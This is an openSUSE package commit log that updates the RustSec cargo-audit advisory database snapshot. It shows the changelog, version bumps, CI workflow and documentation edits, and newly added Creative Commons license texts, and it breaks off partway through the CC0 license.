Script 'mail_helper' called by obssrc
Hello community,

here is the log from the commit of package cargo-audit-advisory-db for 
openSUSE:Factory checked in at 2023-10-08 12:18:26
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/cargo-audit-advisory-db (Old)
 and      /work/SRC/openSUSE:Factory/.cargo-audit-advisory-db.new.28202 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Package is "cargo-audit-advisory-db"

Sun Oct  8 12:18:26 2023 rev:36 rq:1116152 version:20231007

Changes:
--------
--- 
/work/SRC/openSUSE:Factory/cargo-audit-advisory-db/cargo-audit-advisory-db.changes
  2023-08-18 19:29:25.199430049 +0200
+++ 
/work/SRC/openSUSE:Factory/.cargo-audit-advisory-db.new.28202/cargo-audit-advisory-db.changes
       2023-10-08 12:21:50.113743998 +0200
@@ -1,0 +2,15 @@
+Sat Oct 07 01:19:51 UTC 2023 - william.br...@suse.com
+
+- Update to version 20231007:
+  * Assigned RUSTSEC-2023-0066 to pleaser (#1799)
+  * Document the privilege-escalation vulnerability in pleaser. (#1798)
+  * Update webpki RUSTSEC-2023-0052 advisory. (#1797)
+  * Assigned RUSTSEC-2023-0065 to tungstenite (#1796)
+  * Create advisory for tungstenite DoS (#1795)
+  * Add patch version (#1794)
+  * Update info about CVE-2023-5129 (#1793)
+  * Bump rustsec-admin to 0.8.8 (#1791)
+  * Assigned RUSTSEC-2023-0064 to gix-transport (#1790)
+  * Add notice to gix-transport crate (#1789)
+
+-------------------------------------------------------------------

Old:
----
  advisory-db-20230818.tar.xz

New:
----
  advisory-db-20231007.tar.xz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Other differences:
------------------
++++++ cargo-audit-advisory-db.spec ++++++
--- /var/tmp/diff_new_pack.gv6pdT/_old  2023-10-08 12:21:51.137780816 +0200
+++ /var/tmp/diff_new_pack.gv6pdT/_new  2023-10-08 12:21:51.137780816 +0200
@@ -17,7 +17,7 @@
 
 
 Name:           cargo-audit-advisory-db
-Version:        20230818
+Version:        20231007
 Release:        0
 Summary:        A database of known security issues for Rust depedencies
 License:        CC0-1.0

++++++ _service ++++++
--- /var/tmp/diff_new_pack.gv6pdT/_old  2023-10-08 12:21:51.161781679 +0200
+++ /var/tmp/diff_new_pack.gv6pdT/_new  2023-10-08 12:21:51.165781823 +0200
@@ -2,7 +2,7 @@
   <service mode="disabled" name="obs_scm">
     <param name="url">https://github.com/RustSec/advisory-db.git</param>
     <param name="scm">git</param>
-    <param name="version">20230818</param>
+    <param name="version">20231007</param>
     <param name="revision">main</param>
     <param name="changesgenerate">enable</param>
     <param name="changesauthor">william.br...@suse.com</param>

++++++ advisory-db-20230818.tar.xz -> advisory-db-20231007.tar.xz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/.duplicate-id-guard 
new/advisory-db-20231007/.duplicate-id-guard
--- old/advisory-db-20230818/.duplicate-id-guard        2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/.duplicate-id-guard        2023-10-03 
15:53:18.000000000 +0200
@@ -1,3 +1,3 @@
 This file causes merge conflicts if two ID assignment jobs run concurrently.
 This prevents duplicate ID assignment due to a race between those jobs.
-e315acbba1dcf156464306c5a2fae64532f7b99cfbf4935bf3b894f2174c7de2  -
+36a9b51a48b3404a0625daab077982cb323512602246febf46ad480eee672625  -
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/.github/workflows/assign-ids.yml 
new/advisory-db-20231007/.github/workflows/assign-ids.yml
--- old/advisory-db-20230818/.github/workflows/assign-ids.yml   2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/.github/workflows/assign-ids.yml   2023-10-03 
15:53:18.000000000 +0200
@@ -9,17 +9,17 @@
     name: Assign IDs
     runs-on: ubuntu-latest
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
 
     - name: Cache cargo bin
       uses: actions/cache@v3
       with:
         path: ~/.cargo/bin
-        key: rustsec-admin-v0.8.6
+        key: rustsec-admin-v0.8.8
 
     - name: Install rustsec-admin
       run: |
-        VERSION="0.8.6"
+        VERSION="0.8.8"
         if ! ( rustsec-admin --version | grep -q "$VERSION" ); then
           cargo install rustsec-admin --force --vers "$VERSION"
         fi
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/.github/workflows/export-osv.yml 
new/advisory-db-20231007/.github/workflows/export-osv.yml
--- old/advisory-db-20230818/.github/workflows/export-osv.yml   2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/.github/workflows/export-osv.yml   2023-10-03 
15:53:18.000000000 +0200
@@ -8,15 +8,15 @@
   publish-web:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
         with:
           ref: osv
       - uses: actions/cache@v3
         with:
           path: ~/.cargo/bin
-          key: rustsec-admin-v0.8.6
+          key: rustsec-admin-v0.8.8
       - run: |
-          VERSION="0.8.6"
+          VERSION="0.8.8"
           if ! ( rustsec-admin --version | grep -q "$VERSION" ); then
             cargo install rustsec-admin --force --vers "$VERSION"
           fi
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/.github/workflows/publish-web.yml 
new/advisory-db-20231007/.github/workflows/publish-web.yml
--- old/advisory-db-20230818/.github/workflows/publish-web.yml  2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/.github/workflows/publish-web.yml  2023-10-03 
15:53:18.000000000 +0200
@@ -8,15 +8,15 @@
   publish-web:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
         with:
           ref: gh-pages
       - uses: actions/cache@v3
         with:
           path: ~/.cargo/bin
-          key: rustsec-admin-v0.8.6
+          key: rustsec-admin-v0.8.8
       - run: |
-          VERSION="0.8.6"
+          VERSION="0.8.8"
           if ! ( rustsec-admin --version | grep -q "$VERSION" ); then
             cargo install rustsec-admin --force --vers "$VERSION"
           fi
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/.github/workflows/validate.yml 
new/advisory-db-20231007/.github/workflows/validate.yml
--- old/advisory-db-20230818/.github/workflows/validate.yml     2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/.github/workflows/validate.yml     2023-10-03 
15:53:18.000000000 +0200
@@ -10,17 +10,17 @@
     name: Lint advisories
     runs-on: ubuntu-latest
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
 
     - name: Cache cargo bin
       uses: actions/cache@v3
       with:
         path: ~/.cargo/bin
-        key: rustsec-admin-v0.8.6
+        key: rustsec-admin-v0.8.8
 
     - name: Install rustsec-admin
       run: |
-        VERSION="0.8.6"
+        VERSION="0.8.8"
         if ! ( rustsec-admin --version | grep -q "$VERSION" ); then
           cargo install rustsec-admin --force --vers "$VERSION"
         fi
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/CONTRIBUTING.md 
new/advisory-db-20231007/CONTRIBUTING.md
--- old/advisory-db-20230818/CONTRIBUTING.md    2023-08-14 19:14:25.000000000 
+0200
+++ new/advisory-db-20231007/CONTRIBUTING.md    2023-10-03 15:53:18.000000000 
+0200
@@ -52,13 +52,13 @@
 
 **Q: Do I need to be owner of a crate to file an advisory?**
 
-A:  No, anyone can file an advisory against any crate. The legitimacy of
+A: No, anyone can file an advisory against any crate. The legitimacy of
     vulnerabilities will be determined prior to merging. If a vulnerability
-    turns out to be fake it will be removed from the database.
+    turns out to be fake, it will be removed from the database.
     
 **Q: Can I file an advisory without creating a pull request?**
 
-A: Yes, instead of creating a full advisory yourself you can also
+A: Yes, instead of creating a full advisory yourself, you can also
    [open an issue on the advisory-db 
repo](https://github.com/RustSec/advisory-db/issues)
    or email information about the vulnerability to
    [rust...@googlegroups.com](mailto:rust...@googlegroups.com).
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/EXAMPLE_ADVISORY.md 
new/advisory-db-20231007/EXAMPLE_ADVISORY.md
--- old/advisory-db-20230818/EXAMPLE_ADVISORY.md        2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/EXAMPLE_ADVISORY.md        2023-10-03 
15:53:18.000000000 +0200
@@ -26,7 +26,7 @@
 This is an example template for a RustSec advisory. Please copy this to
 `crates/<crate-name>` and rename it to `RUSTSEC-0000-0000.md`.
 
-In this section of the advisory you can write an extended description
+In this section of the advisory, you can write an extended description
 of the vulnerability, will be converted into HTML and rendered at
 <https://rustsec.org>.
 
@@ -34,10 +34,10 @@
 - TOML "front matter". See `README.md` for schema.
 - Please include as much detail as you'd like.
 
-A well structured advisory will include information like:
+A well-structured advisory will include information like:
 
 Affected versions of this crate did not properly check for integer overflow 
when allocating a buffer in `MyBuffer::with_capacity()` (bug 
description/location/root cause).
 
-This can result in a memory corruption (consequence of the bug) when large 
integer is given to the parameter (trigger condition).
+This can result in a memory corruption (consequence of the bug) when a large 
integer is given to the parameter (trigger condition).
 
 The flaw was corrected in commit abc123 by using `saturating_mul()` when 
calculating the buffer size (fix description).
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/LICENSE.txt 
new/advisory-db-20231007/LICENSE.txt
--- old/advisory-db-20230818/LICENSE.txt        2023-08-14 19:14:25.000000000 
+0200
+++ new/advisory-db-20231007/LICENSE.txt        2023-10-03 15:53:18.000000000 
+0200
@@ -1,7 +1,7 @@
-All code and data in the RustSec advisory database repository is dedicated to
-the public domain:
-
-https://creativecommons.org/publicdomain/zero/1.0/
+All code and data in the RustSec advisory database repository are dedicated to
+the public domain (except otherwise specified, see exception below), and are
+available under Creative Commons Zero 1.O Universal license (see
+LICENSES/CC0-1.0.txt for terms).
 
 By committing to this repository, you hereby waive all rights to the work
 worldwide under copyright law, including all related and neighboring rights, to
@@ -10,10 +10,20 @@
 You can copy, modify, distribute, and retransmit any information in this
 repository, even for commercial purposes, without asking permission.
 
-Additional content from GitHub Security Advisory ("GHSA") database
+----
+
+Exception: Additional content imported from the GitHub Security Advisory
+("GHSA") database.
 
-Additional content may be adapted from GHSA with attribution requirements, but
-with no additional clauses like copyleft.
+Additional content is adapted from GitHub Security Advisory, and is available
+under Creative Commons Attribution 4.0 International (see
+LICENSES/CC-BY-4.0.txt for terms).
+
+Any such license and attribution will be explicitly covered, respectively in
+the "license" and "url" (pointing to the advisory GHSA identifier prefixed by
+https://github.com/advisories) metadata fields, directly within the applicable
+advisories. As stated in the terms linked below, this fulfills the attribution
+requirement.
 
-Any such license and attribution will be explicitly covered on an advisory by
-advisory basis directly within the applicable advisories.
+https://docs.github.com/en/site-policy/github-terms/github-terms-for-additional-
+products-and-features#advisory-database
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/LICENSES/CC-BY-4.0.txt 
new/advisory-db-20231007/LICENSES/CC-BY-4.0.txt
--- old/advisory-db-20230818/LICENSES/CC-BY-4.0.txt     1970-01-01 
01:00:00.000000000 +0100
+++ new/advisory-db-20231007/LICENSES/CC-BY-4.0.txt     2023-10-03 
15:53:18.000000000 +0200
@@ -0,0 +1,428 @@
+Attribution-ShareAlike 4.0 International
+
+=======================================================================
+
+Creative Commons Corporation ("Creative Commons") is not a law firm and
+does not provide legal services or legal advice. Distribution of
+Creative Commons public licenses does not create a lawyer-client or
+other relationship. Creative Commons makes its licenses and related
+information available on an "as-is" basis. Creative Commons gives no
+warranties regarding its licenses, any material licensed under their
+terms and conditions, or any related information. Creative Commons
+disclaims all liability for damages resulting from their use to the
+fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and
+conditions that creators and other rights holders may use to share
+original works of authorship and other material subject to copyright
+and certain other rights specified in the public license below. The
+following considerations are for informational purposes only, are not
+exhaustive, and do not form part of our licenses.
+
+     Considerations for licensors: Our public licenses are
+     intended for use by those authorized to give the public
+     permission to use material in ways otherwise restricted by
+     copyright and certain other rights. Our licenses are
+     irrevocable. Licensors should read and understand the terms
+     and conditions of the license they choose before applying it.
+     Licensors should also secure all rights necessary before
+     applying our licenses so that the public can reuse the
+     material as expected. Licensors should clearly mark any
+     material not subject to the license. This includes other CC-
+     licensed material, or material used under an exception or
+     limitation to copyright. More considerations for licensors:
+    wiki.creativecommons.org/Considerations_for_licensors
+
+     Considerations for the public: By using one of our public
+     licenses, a licensor grants the public permission to use the
+     licensed material under specified terms and conditions. If
+     the licensor's permission is not necessary for any reason--for
+     example, because of any applicable exception or limitation to
+     copyright--then that use is not regulated by the license. Our
+     licenses grant only permissions under copyright and certain
+     other rights that a licensor has authority to grant. Use of
+     the licensed material may still be restricted for other
+     reasons, including because others have copyright or other
+     rights in the material. A licensor may make special requests,
+     such as asking that all changes be marked or described.
+     Although not required by our licenses, you are encouraged to
+     respect those requests where reasonable. More considerations
+     for the public:
+    wiki.creativecommons.org/Considerations_for_licensees
+
+=======================================================================
+
+Creative Commons Attribution-ShareAlike 4.0 International Public
+License
+
+By exercising the Licensed Rights (defined below), You accept and agree
+to be bound by the terms and conditions of this Creative Commons
+Attribution-ShareAlike 4.0 International Public License ("Public
+License"). To the extent this Public License may be interpreted as a
+contract, You are granted the Licensed Rights in consideration of Your
+acceptance of these terms and conditions, and the Licensor grants You
+such rights in consideration of benefits the Licensor receives from
+making the Licensed Material available under these terms and
+conditions.
+
+
+Section 1 -- Definitions.
+
+  a. Adapted Material means material subject to Copyright and Similar
+     Rights that is derived from or based upon the Licensed Material
+     and in which the Licensed Material is translated, altered,
+     arranged, transformed, or otherwise modified in a manner requiring
+     permission under the Copyright and Similar Rights held by the
+     Licensor. For purposes of this Public License, where the Licensed
+     Material is a musical work, performance, or sound recording,
+     Adapted Material is always produced where the Licensed Material is
+     synched in timed relation with a moving image.
+
+  b. Adapter's License means the license You apply to Your Copyright
+     and Similar Rights in Your contributions to Adapted Material in
+     accordance with the terms and conditions of this Public License.
+
+  c. BY-SA Compatible License means a license listed at
+     creativecommons.org/compatiblelicenses, approved by Creative
+     Commons as essentially the equivalent of this Public License.
+
+  d. Copyright and Similar Rights means copyright and/or similar rights
+     closely related to copyright including, without limitation,
+     performance, broadcast, sound recording, and Sui Generis Database
+     Rights, without regard to how the rights are labeled or
+     categorized. For purposes of this Public License, the rights
+     specified in Section 2(b)(1)-(2) are not Copyright and Similar
+     Rights.
+
+  e. Effective Technological Measures means those measures that, in the
+     absence of proper authority, may not be circumvented under laws
+     fulfilling obligations under Article 11 of the WIPO Copyright
+     Treaty adopted on December 20, 1996, and/or similar international
+     agreements.
+
+  f. Exceptions and Limitations means fair use, fair dealing, and/or
+     any other exception or limitation to Copyright and Similar Rights
+     that applies to Your use of the Licensed Material.
+
+  g. License Elements means the license attributes listed in the name
+     of a Creative Commons Public License. The License Elements of this
+     Public License are Attribution and ShareAlike.
+
+  h. Licensed Material means the artistic or literary work, database,
+     or other material to which the Licensor applied this Public
+     License.
+
+  i. Licensed Rights means the rights granted to You subject to the
+     terms and conditions of this Public License, which are limited to
+     all Copyright and Similar Rights that apply to Your use of the
+     Licensed Material and that the Licensor has authority to license.
+
+  j. Licensor means the individual(s) or entity(ies) granting rights
+     under this Public License.
+
+  k. Share means to provide material to the public by any means or
+     process that requires permission under the Licensed Rights, such
+     as reproduction, public display, public performance, distribution,
+     dissemination, communication, or importation, and to make material
+     available to the public including in ways that members of the
+     public may access the material from a place and at a time
+     individually chosen by them.
+
+  l. Sui Generis Database Rights means rights other than copyright
+     resulting from Directive 96/9/EC of the European Parliament and of
+     the Council of 11 March 1996 on the legal protection of databases,
+     as amended and/or succeeded, as well as other essentially
+     equivalent rights anywhere in the world.
+
+  m. You means the individual or entity exercising the Licensed Rights
+     under this Public License. Your has a corresponding meaning.
+
+
+Section 2 -- Scope.
+
+  a. License grant.
+
+       1. Subject to the terms and conditions of this Public License,
+          the Licensor hereby grants You a worldwide, royalty-free,
+          non-sublicensable, non-exclusive, irrevocable license to
+          exercise the Licensed Rights in the Licensed Material to:
+
+            a. reproduce and Share the Licensed Material, in whole or
+               in part; and
+
+            b. produce, reproduce, and Share Adapted Material.
+
+       2. Exceptions and Limitations. For the avoidance of doubt, where
+          Exceptions and Limitations apply to Your use, this Public
+          License does not apply, and You do not need to comply with
+          its terms and conditions.
+
+       3. Term. The term of this Public License is specified in Section
+          6(a).
+
+       4. Media and formats; technical modifications allowed. The
+          Licensor authorizes You to exercise the Licensed Rights in
+          all media and formats whether now known or hereafter created,
+          and to make technical modifications necessary to do so. The
+          Licensor waives and/or agrees not to assert any right or
+          authority to forbid You from making technical modifications
+          necessary to exercise the Licensed Rights, including
+          technical modifications necessary to circumvent Effective
+          Technological Measures. For purposes of this Public License,
+          simply making modifications authorized by this Section 2(a)
+          (4) never produces Adapted Material.
+
+       5. Downstream recipients.
+
+            a. Offer from the Licensor -- Licensed Material. Every
+               recipient of the Licensed Material automatically
+               receives an offer from the Licensor to exercise the
+               Licensed Rights under the terms and conditions of this
+               Public License.
+
+            b. Additional offer from the Licensor -- Adapted Material.
+               Every recipient of Adapted Material from You
+               automatically receives an offer from the Licensor to
+               exercise the Licensed Rights in the Adapted Material
+               under the conditions of the Adapter's License You apply.
+
+            c. No downstream restrictions. You may not offer or impose
+               any additional or different terms or conditions on, or
+               apply any Effective Technological Measures to, the
+               Licensed Material if doing so restricts exercise of the
+               Licensed Rights by any recipient of the Licensed
+               Material.
+
+       6. No endorsement. Nothing in this Public License constitutes or
+          may be construed as permission to assert or imply that You
+          are, or that Your use of the Licensed Material is, connected
+          with, or sponsored, endorsed, or granted official status by,
+          the Licensor or others designated to receive attribution as
+          provided in Section 3(a)(1)(A)(i).
+
+  b. Other rights.
+
+       1. Moral rights, such as the right of integrity, are not
+          licensed under this Public License, nor are publicity,
+          privacy, and/or other similar personality rights; however, to
+          the extent possible, the Licensor waives and/or agrees not to
+          assert any such rights held by the Licensor to the limited
+          extent necessary to allow You to exercise the Licensed
+          Rights, but not otherwise.
+
+       2. Patent and trademark rights are not licensed under this
+          Public License.
+
+       3. To the extent possible, the Licensor waives any right to
+          collect royalties from You for the exercise of the Licensed
+          Rights, whether directly or through a collecting society
+          under any voluntary or waivable statutory or compulsory
+          licensing scheme. In all other cases the Licensor expressly
+          reserves any right to collect such royalties.
+
+
+Section 3 -- License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the
+following conditions.
+
+  a. Attribution.
+
+       1. If You Share the Licensed Material (including in modified
+          form), You must:
+
+            a. retain the following if it is supplied by the Licensor
+               with the Licensed Material:
+
+                 i. identification of the creator(s) of the Licensed
+                    Material and any others designated to receive
+                    attribution, in any reasonable manner requested by
+                    the Licensor (including by pseudonym if
+                    designated);
+
+                ii. a copyright notice;
+
+               iii. a notice that refers to this Public License;
+
+                iv. a notice that refers to the disclaimer of
+                    warranties;
+
+                 v. a URI or hyperlink to the Licensed Material to the
+                    extent reasonably practicable;
+
+            b. indicate if You modified the Licensed Material and
+               retain an indication of any previous modifications; and
+
+            c. indicate the Licensed Material is licensed under this
+               Public License, and include the text of, or the URI or
+               hyperlink to, this Public License.
+
+       2. You may satisfy the conditions in Section 3(a)(1) in any
+          reasonable manner based on the medium, means, and context in
+          which You Share the Licensed Material. For example, it may be
+          reasonable to satisfy the conditions by providing a URI or
+          hyperlink to a resource that includes the required
+          information.
+
+       3. If requested by the Licensor, You must remove any of the
+          information required by Section 3(a)(1)(A) to the extent
+          reasonably practicable.
+
+  b. ShareAlike.
+
+     In addition to the conditions in Section 3(a), if You Share
+     Adapted Material You produce, the following conditions also apply.
+
+       1. The Adapter's License You apply must be a Creative Commons
+          license with the same License Elements, this version or
+          later, or a BY-SA Compatible License.
+
+       2. You must include the text of, or the URI or hyperlink to, the
+          Adapter's License You apply. You may satisfy this condition
+          in any reasonable manner based on the medium, means, and
+          context in which You Share Adapted Material.
+
+       3. You may not offer or impose any additional or different terms
+          or conditions on, or apply any Effective Technological
+          Measures to, Adapted Material that restrict exercise of the
+          rights granted under the Adapter's License You apply.
+
+
+Section 4 -- Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that
+apply to Your use of the Licensed Material:
+
+  a. for the avoidance of doubt, Section 2(a)(1) grants You the right
+     to extract, reuse, reproduce, and Share all or a substantial
+     portion of the contents of the database;
+
+  b. if You include all or a substantial portion of the database
+     contents in a database in which You have Sui Generis Database
+     Rights, then the database in which You have Sui Generis Database
+     Rights (but not its individual contents) is Adapted Material,
+     including for purposes of Section 3(b); and
+
+  c. You must comply with the conditions in Section 3(a) if You Share
+     all or a substantial portion of the contents of the database.
+
+For the avoidance of doubt, this Section 4 supplements and does not
+replace Your obligations under this Public License where the Licensed
+Rights include other Copyright and Similar Rights.
+
+
+Section 5 -- Disclaimer of Warranties and Limitation of Liability.
+
+  a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
+     EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
+     AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
+     ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
+     IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
+     WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
+     PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
+     ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
+     KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
+     ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
+
+  b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
+     TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
+     NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
+     INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
+     COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
+     USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
+     ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
+     DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
+     IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
+
+  c. The disclaimer of warranties and limitation of liability provided
+     above shall be interpreted in a manner that, to the extent
+     possible, most closely approximates an absolute disclaimer and
+     waiver of all liability.
+
+
+Section 6 -- Term and Termination.
+
+  a. This Public License applies for the term of the Copyright and
+     Similar Rights licensed here. However, if You fail to comply with
+     this Public License, then Your rights under this Public License
+     terminate automatically.
+
+  b. Where Your right to use the Licensed Material has terminated under
+     Section 6(a), it reinstates:
+
+       1. automatically as of the date the violation is cured, provided
+          it is cured within 30 days of Your discovery of the
+          violation; or
+
+       2. upon express reinstatement by the Licensor.
+
+     For the avoidance of doubt, this Section 6(b) does not affect any
+     right the Licensor may have to seek remedies for Your violations
+     of this Public License.
+
+  c. For the avoidance of doubt, the Licensor may also offer the
+     Licensed Material under separate terms or conditions or stop
+     distributing the Licensed Material at any time; however, doing so
+     will not terminate this Public License.
+
+  d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
+     License.
+
+
+Section 7 -- Other Terms and Conditions.
+
+  a. The Licensor shall not be bound by any additional or different
+     terms or conditions communicated by You unless expressly agreed.
+
+  b. Any arrangements, understandings, or agreements regarding the
+     Licensed Material not stated herein are separate from and
+     independent of the terms and conditions of this Public License.
+
+
+Section 8 -- Interpretation.
+
+  a. For the avoidance of doubt, this Public License does not, and
+     shall not be interpreted to, reduce, limit, restrict, or impose
+     conditions on any use of the Licensed Material that could lawfully
+     be made without permission under this Public License.
+
+  b. To the extent possible, if any provision of this Public License is
+     deemed unenforceable, it shall be automatically reformed to the
+     minimum extent necessary to make it enforceable. If the provision
+     cannot be reformed, it shall be severed from this Public License
+     without affecting the enforceability of the remaining terms and
+     conditions.
+
+  c. No term or condition of this Public License will be waived and no
+     failure to comply consented to unless expressly agreed to by the
+     Licensor.
+
+  d. Nothing in this Public License constitutes or may be interpreted
+     as a limitation upon, or waiver of, any privileges and immunities
+     that apply to the Licensor or You, including from the legal
+     processes of any jurisdiction or authority.
+
+
+=======================================================================
+
+Creative Commons is not a party to its public
+licenses. Notwithstanding, Creative Commons may elect to apply one of
+its public licenses to material it publishes and in those instances
+will be considered the “Licensor.” The text of the Creative Commons
+public licenses is dedicated to the public domain under the CC0 Public
+Domain Dedication. Except for the limited purpose of indicating that
+material is shared under a Creative Commons public license or as
+otherwise permitted by the Creative Commons policies published at
+creativecommons.org/policies, Creative Commons does not authorize the
+use of the trademark "Creative Commons" or any other trademark or logo
+of Creative Commons without its prior written consent including,
+without limitation, in connection with any unauthorized modifications
+to any of its public licenses or any other arrangements,
+understandings, or agreements concerning use of licensed material. For
+the avoidance of doubt, this paragraph does not form part of the
+public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
+
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/LICENSES/CC0-1.0.txt 
new/advisory-db-20231007/LICENSES/CC0-1.0.txt
--- old/advisory-db-20230818/LICENSES/CC0-1.0.txt       1970-01-01 
01:00:00.000000000 +0100
+++ new/advisory-db-20231007/LICENSES/CC0-1.0.txt       2023-10-03 
15:53:18.000000000 +0200
@@ -0,0 +1,121 @@
+Creative Commons Legal Code
+
+CC0 1.0 Universal
+
+    CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
+    LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
+    ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
+    INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
+    REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
+    PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
+    THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
+    HEREUNDER.
+
+Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer
+exclusive Copyright and Related Rights (defined below) upon the creator
+and subsequent owner(s) (each and all, an "owner") of an original work of
+authorship and/or a database (each, a "Work").
+
+Certain owners wish to permanently relinquish those rights to a Work for
+the purpose of contributing to a commons of creative, cultural and
+scientific works ("Commons") that the public can reliably and without fear
+of later claims of infringement build upon, modify, incorporate in other
+works, reuse and redistribute as freely as possible in any form whatsoever
+and for any purposes, including without limitation commercial purposes.
+These owners may contribute to the Commons to promote the ideal of a free
+culture and the further production of creative, cultural and scientific
+works, or to gain reputation or greater distribution for their Work in
+part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any
+expectation of additional consideration or compensation, the person
+associating CC0 with a Work (the "Affirmer"), to the extent that he or she
+is an owner of Copyright and Related Rights in the Work, voluntarily
+elects to apply CC0 to the Work and publicly distribute the Work under its
+terms, with knowledge of his or her Copyright and Related Rights in the
+Work and the meaning and intended legal effect of CC0 on those rights.
+
+1. Copyright and Related Rights. A Work made available under CC0 may be
+protected by copyright and related or neighboring rights ("Copyright and
+Related Rights"). Copyright and Related Rights include, but are not
+limited to, the following:
+
+  i. the right to reproduce, adapt, distribute, perform, display,
+     communicate, and translate a Work;
+ ii. moral rights retained by the original author(s) and/or performer(s);
+iii. publicity and privacy rights pertaining to a person's image or
+     likeness depicted in a Work;
+ iv. rights protecting against unfair competition in regards to a Work,
+     subject to the limitations in paragraph 4(a), below;
+  v. rights protecting the extraction, dissemination, use and reuse of data
+     in a Work;
+ vi. database rights (such as those arising under Directive 96/9/EC of the
+     European Parliament and of the Council of 11 March 1996 on the legal
+     protection of databases, and under any national implementation
+     thereof, including any amended or successor version of such
+     directive); and
+vii. other similar, equivalent or corresponding rights throughout the
+     world based on applicable law or treaty, and any national
+     implementations thereof.
+
+2. Waiver. To the greatest extent permitted by, but not in contravention
+of, applicable law, Affirmer hereby overtly, fully, permanently,
+irrevocably and unconditionally waives, abandons, and surrenders all of
+Affirmer's Copyright and Related Rights and associated claims and causes
+of action, whether now known or unknown (including existing as well as
+future claims and causes of action), in the Work (i) in all territories
+worldwide, (ii) for the maximum duration provided by applicable law or
+treaty (including future time extensions), (iii) in any current or future
+medium and for any number of copies, and (iv) for any purpose whatsoever,
+including without limitation commercial, advertising or promotional
+purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
+member of the public at large and to the detriment of Affirmer's heirs and
+successors, fully intending that such Waiver shall not be subject to
+revocation, rescission, cancellation, termination, or any other legal or
+equitable action to disrupt the quiet enjoyment of the Work by the public
+as contemplated by Affirmer's express Statement of Purpose.
+
+3. Public License Fallback. Should any part of the Waiver for any reason
+be judged legally invalid or ineffective under applicable law, then the
+Waiver shall be preserved to the maximum extent permitted taking into
+account Affirmer's express Statement of Purpose. In addition, to the
